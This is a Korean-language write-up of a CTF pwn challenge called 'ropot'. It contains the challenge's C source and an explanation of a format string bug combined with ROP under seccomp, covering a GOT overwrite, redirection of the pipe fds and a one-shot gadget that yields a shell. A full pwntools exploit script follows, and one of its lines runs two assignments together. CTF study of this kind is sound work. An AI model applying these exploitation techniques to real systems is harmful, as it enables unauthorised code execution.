ropot


이건 예전에 어떤 CTF에 나온 robot이란 문제를 조금 수정해서 냈다는데, 차이점은 문제 취약점 설명하면서 적겠다. 문제 컨셉은 좀 유쾌했음 ㅋㅋ 자식 프로세스가 robot이고 부모 프로세스는 robot이 보낸 값을 통해서 move같은 작업들 하고 뭐 하고 하던데, 사실 의미있는 것들은 아니더라.
넌센스였던 건 분명 자식 프로세스가 robot인데, robot이 사용자의 input을 받아야 한다는 것…

Mitigation


  • Relro : Partial Rerlo
  • Stack : No canary found
  • NX : NX enable
  • PIE : PIE enable

Analyzing


Intro

소스코드를 제공해준다.

/*gcc -z lazy -z noexecstack -fstack-protector robot.c -o robot*/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "SECCOMP.h"
//#include<seccomp.h>

struct sock_filter seccompfilter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
    Allow(read),
    Allow(write),
    Allow(rt_sigreturn),
    Allow(exit),
    Allow(exit_group),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};

struct sock_fprog filterprog = {
    .len = sizeof(seccompfilter) / sizeof(struct sock_filter),
    .filter = seccompfilter};

void apply_seccomp()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
    {
        perror("Seccomp Error");
        exit(1);
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1)
    {
        perror("Seccomp Error");
        exit(1);
    }
    return;
}

void initproc()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    return;
}

int move(unsigned int *pos, unsigned int x, unsigned int y)
{
    int newx = pos[0] + x;
    int newy = pos[1] + y;
    if (newx < 0 || newx >= 100 || newy < 0 || newy >= 100)
        return -1;
    else
    {
        pos[0] = newx;
        pos[1] = newy;
        return 1;
    }
}

_Noreturn main()
{
    initproc();
    int pipefd[4];
    if (pipe2(pipefd, O_CLOEXEC | O_DIRECT) == -1 || pipe2(&(pipefd[2]), O_CLOEXEC | O_DIRECT) == -1)
    {
        puts("Cannot establish connection to robot");
        exit(1);
    }
    int pid = fork();
    if (pid < 0)
    {
        puts("Robot bootup failed");
        exit(1);
    }
    if (pid != 0)
    {
        close(pipefd[0]);
        close(pipefd[3]);
        char *buf = mmap(NULL, 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        int randfd = open("/dev/urandom", O_RDONLY);
        if (buf == (void *)-1 || randfd == -1)
        {
            puts("Monitor crashed");
            exit(1);
        }
        int seed;
        read(randfd, &seed, 4);
        srand(seed);
        close(randfd);
        unsigned int robot[2] = {((unsigned int)rand()) % 20, ((unsigned int)rand()) % 20};
        unsigned int outlaw[2] = {80U + (unsigned int)rand() % 20, 80U + ((unsigned int)rand()) % 20};
        for (int i = 0; i < 1000; i++)
        {
            read(pipefd[2], buf, 0x1000);
            siginfo_t status = {0, 0, 0, 0, 0};
            int waitres = waitid(P_PID, pid, &status, WNOHANG | WEXITED);
            if (waitres == -1)
            {
                kill(pid, SIGKILL);
                puts("Monitor malfunctioning");
                exit(1);
            }
            else if (status.si_pid == pid)
            {
                if (status.si_code == CLD_EXITED && status.si_status == 0)
                    puts("AI halted");
                else
                    puts("AI crashed");
                exit(0);
            }
            if (buf[0] == 'S')
            {
                buf[0] = robot[0] + 1;
                buf[1] = robot[1] + 1;
                buf[2] = outlaw[0] + 1;
                buf[3] = outlaw[1] + 1;
                buf[4] = '\0';
            }
            else if (buf[0] == 'M')
            {
                int moveres = 0;
                if (buf[1] == 'A')
                    moveres = move(robot, -1, 0);
                else if (buf[1] == 'D')
                    moveres = move(robot, 1, 0);
                else if (buf[1] == 'W')
                    moveres = move(robot, 0, 1);
                else if (buf[1] == 'S')
                    moveres = move(robot, 0, -1);
                if (moveres == -1)
                    strcpy(buf, "Failed");
                else if (moveres == 1)
                    strcpy(buf, "Success");
            }
            else if (buf[0] == 'G')
            {
                puts("Mission failed :(");
                puts("Only quitters giveup");
                kill(pid, SIGKILL);
                exit(0);
            }
            else
            {
                buf[0] = '\0';
            }
            if (robot[0] == outlaw[0] && robot[1] == outlaw[1])
            {
                puts("Mission cleared!");
                puts("Here is a token to show our gratitude : NOTFLAG{Super shellcoder}");
                exit(0);
            }
            move(outlaw, (((unsigned int)rand()) % 2) - 1, (((unsigned int)rand()) % 2) - 1);
            dprintf(pipefd[1], buf);
        }
        puts("Mission failed :(");
        puts("Robot ran out of fuel");
        kill(pid, SIGKILL);
    }
    else
    {
        close(pipefd[1]);
        close(pipefd[2]);
        void (*ropchain)() = mmap((void *)((((unsigned long long)(main)>>12)+0x10)<<12), 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        printf("Gift1: %p\n", ropchain);
        printf("Gift2: %p\n", main);
        //printf("Gift3: %p\n", printf);
        if (ropchain == (void *)-1)
        {
            puts("Robot initialisation failed");
            exit(1);
        }
        printf("Give me chain : ");
        fgets((char *)ropchain, 0x8e0, stdin);
        close(STDIN_FILENO);
        close(STDOUT_FILENO);
        close(STDERR_FILENO);
        apply_seccomp();
        asm("mov %0, %%rsp\n"
            "xor %%rdx, %%rdx\n"
            "xor %%rax, %%rax\n"
            "xor %%rbx, %%rbx\n"
            "xor %%rcx, %%rcx\n"
            "xor %%rsi, %%rsi\n"
            "xor %%rdi, %%rdi\n"
            "xor %%rbp, %%rbp\n"
            "xor %%r8, %%r8\n"
            "xor %%r9, %%r9\n"
            "xor %%r10, %%r10\n"
            "xor %%r11, %%r11\n"
            "xor %%r12, %%r12\n"
            "xor %%r13, %%r13\n"
            "xor %%r14, %%r14\n"
            "xor %%r15, %%r15\n"
            "ret\n"
            "pop %%rax\n"
            "ret\n"
            "pop %%rcx\n"
            "ret\n"
            "pop %%rdx\n"
            "ret\n" ::"r"(*ropchain));
    }
    exit(0);
}

Parent Process

여기서 중요한 main의 초반부를 보게 되면 pipe를 열고 fork로 자식프로세스를 하나 생성한다. 그 다음 부모프로세스라면 필요없는 pipe fd를 닫고 버퍼 공간 0x1000 byte만큼 할당한 다음에 pipe로 자식 프로세스가 넘겨주는 값을 read로 받아온다. 그리고 자식 프로세스 상태를 계속 체크하다가 제대로 된 상태가 아니면 부모도 죽인다.
그 이후 받아온 값을 토대로 값을 체크해서 이것저것 작업을 하는데, 이 때 buf[0]의 부분의 경우에는 모두 제대로 체크를 해서 검증을 하고 잘못된 값이 넘겨졌을 경우 buf[0]에 null byte를 넘겨주어 untrusted inputdprintf로 넘겨지지 않도록 방지한다.
근데 여기서 잘 봐야 하는 게 부분이 바로 buf[0]M일 때이다. 이 때는 buf[1]에 대해서 충분한 검증을 거치지 않는다. 따라서 A, W, S, D가 아닌 다른 값이 왔을 때 제대로 된 예외를 처리하지 않는다.
또한 맨 부모 프로세스의 맨 마지막 작업을 보면 dprintf 함수를 통해서 자식프로세스에 buf의 값을 넘겨준다는 것을 알 수 있는데, 이 때 Format String Bug가 발생한다는 걸 알아챌 수 있다. 때문에 buf값을 M%p%p형식으로 넘겨주어 fsb를 유발할 수 있다.

Child Process

이제 자식프로세스가 일하는 곳을 보면, 여기도 쓸모없는 pipe fd 닫아준 다음에 보면 맨 처음부터 pie를 leak해준다. rop chain을 하는 buffer 주소도 leak해주는데, 사실 저건 1/2 확률로 main 주소 + 0x10000 이거나, main 주소 + 0x11000이라서 왜 줬는진 모르겠음.
그 이후에는 fgets로 buffer에 쭉 입력을 받고 stdin, stderr, stdout을 다 닫은 다음에 apply_seccomp함수로 syscall을 제한하고 rop chain 쪽으로 rsp를 옮겨준다.
근데 여기서 pop rax; ret, pop rcx; ret, pop rdx; ret등등의 rop 가젯을 다 뿌려주는데 이거 덕분에 생각보다 쉽게 exploit이 된다.
robot문제에서는 ropot문제와 다르게 이 부분에서 rsp를 buffer쪽으로 옮기는 게 아니라 rip로 옮긴다. 그래서 익스자체는 훨씬 쉽지만 어셈블리로 함수를 구현해야해서 귀찮더라…

Keyword

이제 여기까지 왔을 때 주목해야하는 몇 가지 키워드가 있는데, 일단 기본적으로 fsb를 통해 exploit을 해야한다는 것과 dprintf를 통한 값을 그냥 출력하는 게 아니라 자식 프로세스로 넘겨준다는 것이다. 또 부모프로세스와 자식프로세스가 나눠져있다는 점 때문에 디버깅이 귀찮다는 것도… ㅎㅎ (tmux를 통해 pwntools 내부의 gdb 기능을 사용하려 했는데, 자꾸 자식프로세스에 디버거가 안 붙고 부모에만 붙으려 하거나 아예 디버거가 안 붙는다.)

Exploit


아무래도 쉘코드 익스에서 rop 익스로 바뀌어서 그런지 좀 까다로운 면이 있는데, 일단 내가 원하는 instruction을 마음대로 쓰기 힘들다는 게 가장 까다로운 점일 것이다.
또, 출력이 바로 터미널로 나오는 게 아니라 자식과 부모가 서로 통신한다는 점 때문에 leak의 방법을 떠올리는데에 큰 문제가 생긴다.
추가적으로 rop가 가능한 자식프로세스에는 stdin, stdout, stderr이 다 닫혀있고 syscall도 모두 제한되어 있기 때문에 부모프로세스에서 쉘을 획득해야한다는 점도 생각해야한다.

How to communicate?

일단 여기서 가장 중요한 게 출력 함수가 없다. 그래서 출력함수를 만들어줘야 하는데 이 부분은 close함수의 got부분을 rop를 통해서 close->syscall 수정해준다. 이게 가능한 이유는 우리의 생각보다 일반적인 ELF binary에는 이쁜 가젯이 많기 때문이다.
그럼 이제 syscall도 생겼고 pop rax; ret 가젯도 있고 인자 설정도 원하는대로 가능하니까 read, write를 마음대로 할 수 있다. 근데 여기서 끝이 아니라 fsb를 통해서 자식 프로세스에 leak을 해와도 exploit script에서 읽어올 수 없다는 점을 해결해야만 한다.

How to leak?

그러려면 fsb의 결과 값을 터미널 화면에 출력을 해야만 하는데 이 방법은 double stage fsb를 통해서 해결해야한다. 자식 프로세스 내로 leak한 stack 값을 통해 부모 프로세스에는 stack 내에 존재하는 stack을 가리키는 pointer가 있다. 그 포인터의 1 byte만 잘 바꿔줘서 pipe fd부분을 가리키게 수정하고 다시 한 번 fsb를 진행해 pipe fd를 stdin, stdout으로 수정해야 한다.

How to make FSB payload?

근데 여기서 또 문제가 생긴다. 자식프로세스로 릭한 stack의 값은 숫자값이 아닌 string값이다. (%s를 통해서 raw한 data로도 leak을 할 수는 있지만 그렇게 될 경우 그 값은 환경변수를 가리키는 주소 값이라서 pipe fd와의 offset이 고정적이지 않다.) 때문에 그 값을 10진수 string으로 다시 변경해서 format string bug를 유발해야만한다. 근데 이걸 도대체 어떻게 해야하는가… 이게 문제였다.
방법은 rop를 통해서 close함수의 got에서 libc base주소를 rop chain의 영역 일부에 저장하고 그 값을 이용해서 libc function을 call하는 것이다. 이 방법을 통해 strtoul 그리고 sprintf를 호출하여 hex string->raw data->int string의 순서를 거쳐서 fsb payload를 최종적으로 작성할 수 있고 그 이후에는 더 이상 부모 프로세스와 자식 프로세스 간의 통신이 필요 없어진다.

How to hlt Child Proces?

그런데 아까 말했듯이 fd를 변경하고 자식 프로세스를 그냥 꺼버리면 부모 프로세스는 잘못된 걸 파악하고 부모 프로세스도 중간에 그냥 꺼져버린다. 근데 hlt도 못 걸고 종료도 못하면 어떻게 해야할까? 방법이야 여러가지가 있다.
read(pipe_fd, buf, len)과 같이 read를 호출해서 입력을 받도록 계속 기다리게 만들어도 되고 pop rsp; ...; ret등의 rsp를 조절할 수 있는 가젯을 통해서 같은 instruction을 무한대로 반복하게 만들어도 된다.
나의 경우에는 전자의 방법을 사용하면 fsb payload가 dprintf에 넘겨진 이후에 자식 프로세스로 넘겨지는 값들 때문에 read할 때 값을 계속 받아오려해서 hlt가 걸리지 않았다. 때문에 후자의 방법을 사용했다.

그럼 이제 터미널로 dprintf의 값이 완벽하게 넘겨와지고 read도 Child Process에서 받아오는 게 아닌 stdin에서 값을 받아오게 된다. 이 이후에는 그냥 단순 fsb를 통해서 libc leak을 한 뒤 exit의 got를 oneshot gadget으로 덮어주고 쉘을 획득했다.

취약점도 간단하고 그리 어려운 문제는 아닌데 중간중간 해야할 게 많아서 까따로웠던 문제였다. 또 ROP 가젯을 잘 뽑아와야해서 이 것도 꽤 어려웠다. 문제 라업 끝~ 최종 솔브는 밑에…

solve.py

from pwn import *

#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
e = ELF('./ropot')
libc = e.libc

writefd = 6
readfd = 3

data = b""
data += b"M%36p".ljust(0x8, b'\x00')
data += b"M%%%dc%%36hn".ljust(0x10, b'\x00')
data += b'\x00'*0x10
data += b"M%62ln".ljust(0x10, b'\x00')

def main(p):
    p.recvuntil(b': ')
    buf = int(p.recvline(), 16)
    DATA = buf + 0x3b0
    wbuffer = buf + 0x390
    p.recvuntil(b': ')
    pie = int(p.recvline(), 16) - 0x138b
    syscall = 0x00001060 + pie
    close_got = 0x00004030 + pie
    exit_got = 0x00004088 + pie
    prax = 0x00001a4f + pie
    prdi = 0x00001abb + pie
    prsi = 0x00001ab9 + pie # pop rsi; pop r15; ret;
    prdx = 0x00001a53 + pie
    prcx = 0x00001a51 + pie    prbp = 0x0000122f + pie
    prsp = 0x00001ab5 + pie # pop rsp; pop r13; pop r14; pop r15; ret;
    g1 = 0x00001ab2 + pie # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
    g2 = 0x0000122e + pie # add DWORD [rbp-0x3d], ebx; ret;
    g3 = 0x00001382 + pie # mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
    g4 = 0x0000137f + pie # mov eax, DWORD [rbp-0x4]; mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
    ret = 0x00001acc + pie

    log.info(b'BUF: 0x%x'%buf)
    log.info(b'PIE: 0x%x'%pie)
    log.info(b'WRITE BUFFER: 0x%x'%wbuffer)
    pay = b''

    #change close to syscall
    pay += p64(g1) + p64(0x12) + p64(close_got + 0x3d) + p64(0)*4 + p64(g2)
    #change close to syscall

    #leak stack (stage1)
    pay += p64(prax) + p64(1) + p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA)*2 + p64(prdx) + p64(0x10) + p64(syscall)
    pay += p64(prax) + p64(0) + p64(prdi) + p64(readfd) + p64(prsi) + p64(wbuffer - 1)*2 + p64(prdx) + p64(0x100) + p64(syscall)
    #leak stack (stage1)

    #get libc base in wbuffer + 0x10 (stage2)
    pay += p64(prdx) + p64(wbuffer + 0x10) + p64(prbp) + p64(close_got + 4)
    pay += p64(g4) + p64(close_got + 8) + p64(prdx) + p64(wbuffer + 0x14) + p64(g4) + p64(0)
    pay += p64(g1) + p64(-(libc.sym['close'] + 0x12)&0xffffffff) + p64(wbuffer + 0x10 + 0x3d)*5 + p64(g2)
    #get libc base in wbuffer + 0x10 (stage2)

    #calc stack (stage3)
    pay += p64(prdx) + p64(buf + 0x238) + p64(prbp) + p64(wbuffer + 0x10 + 4)
    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x238 + 4) + p64(g4) + p64(0)
    pay += p64(g1) + p64(libc.sym['strtol']) + p64(buf + 0x238 + 0x3d)*5 + p64(g2)
    pay += p64(prdi) + p64(wbuffer) + p64(prsi) + p64(0)*2 + p64(prdx) + p64(16) + b'A'*8
    pay += p64(prdx) + p64(wbuffer + 0x18) +  p64(g3) + p64(wbuffer + 0x50 + 4) + p64(prdx) + p64(wbuffer + 0x18 + 2) + p64(g4) + p64(0)
    pay += p64(g1) + p64(-0x185&0xffffffff) + p64(wbuffer + 0x18 + 0x3d) + p64(0)*4 + p64(g2)
    pay += p64(prbp) + p64(wbuffer + 0x18 + 4) + p64(prdx) + p64(buf + 0x7e8)
    pay += p64(g4) + p64(wbuffer + 0x10 + 4) + p64(prdx) + p64(buf + 0x7f0)
    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x7f0 + 4) + p64(g4) + p64(0)
    pay += p64(g1) + p64(libc.sym['sprintf']) + p64(buf + 0x7f0 + 0x3d)*5 + p64(g2) + p64(prsp) + p64(buf + 0x7b8 - 0x18)

    pay = pay.ljust(0x3b0, b'\x00')
    pay += data
    pay = pay.ljust(0x408, b'\x00')

    pay = pay.ljust(0x7b8, b'\x00')
    #calc stack (stage3)
    pay += p64(prdi) + p64(DATA + 0x18) + p64(prsi) + p64(DATA + 0x8)*2 + p64(prdx) + b'ABCD'.ljust(0x8, b'\x00') + b'A'*8

    #overwrite parent fds to stdin, stdout (stage4)
    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x18)*2 + p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)
    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x28)*2 +  p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)

    pay += p64(ret)*7 + p64(prsp) + p64(buf + 0x8b0 - 0x18)

    print(hex(len(pay)))

    pay = pay.ljust(0x8df, b'\x00')
    p.sendafter(b'Give me chain : ', pay)
    p.sendline(b'M' + b'\x00'*0x7f)

    while True:
        p.sendline(b'Mipwn\x00')
        res = p.recvuntil(b'Mipwn', timeout=1) #clean output
        if(len(res)>1):
            print (res)
            break
    log.info(b'Buffer output clean successfully!')
    pause()
    p.sendline(b'M%36pipwn')
    p.recvuntil(b'M')
    stack = int(p.recvuntil(b'ipwn')[:-4], 16)
    over_addr = stack - 0xe8
    p.sendline(b'M%34pipwn')
    p.recvuntil(b'M')
    libc_base = int(p.recvuntil(b'ipwn')[:-4], 16) - libc.sym[b'__libc_start_main'] - 235
    oneshot = libc_base + 0x106ef8
    log.info(b'[STACK] 0x%x'%stack)
    log.info(b'[GLIBC] 0x%x'%libc_base)
    log.info(b'[OVER_ADDR] 0x%x'%over_addr)

    pay = b'M%' + str( (over_addr % 0x10000) - 1 ) + b'c%36hnipwn'
    p.sendline(pay + b'\x00')
    p.recvuntil(b'ipwn')

    for i in range(3):
        pay = b'M%' + str( (exit_got % 0x10000) - 1 + i * 2 ) + b'c%62hnipwn'
        p.sendline(pay + b'\x00')
        p.recvuntil(b'ipwn')
        pay = b'M%' + str( ( (oneshot >> ( i * 16 ) )&0xffff) - 1 ) + b'c%33hnipwn'
        p.sendline(pay + b'\x00')
        p.recvuntil(b'ipwn')


    p.interactive()
    exit(0)

if __name__ == '__main__':
    p = process(e.path, aslr=True)
    main(p)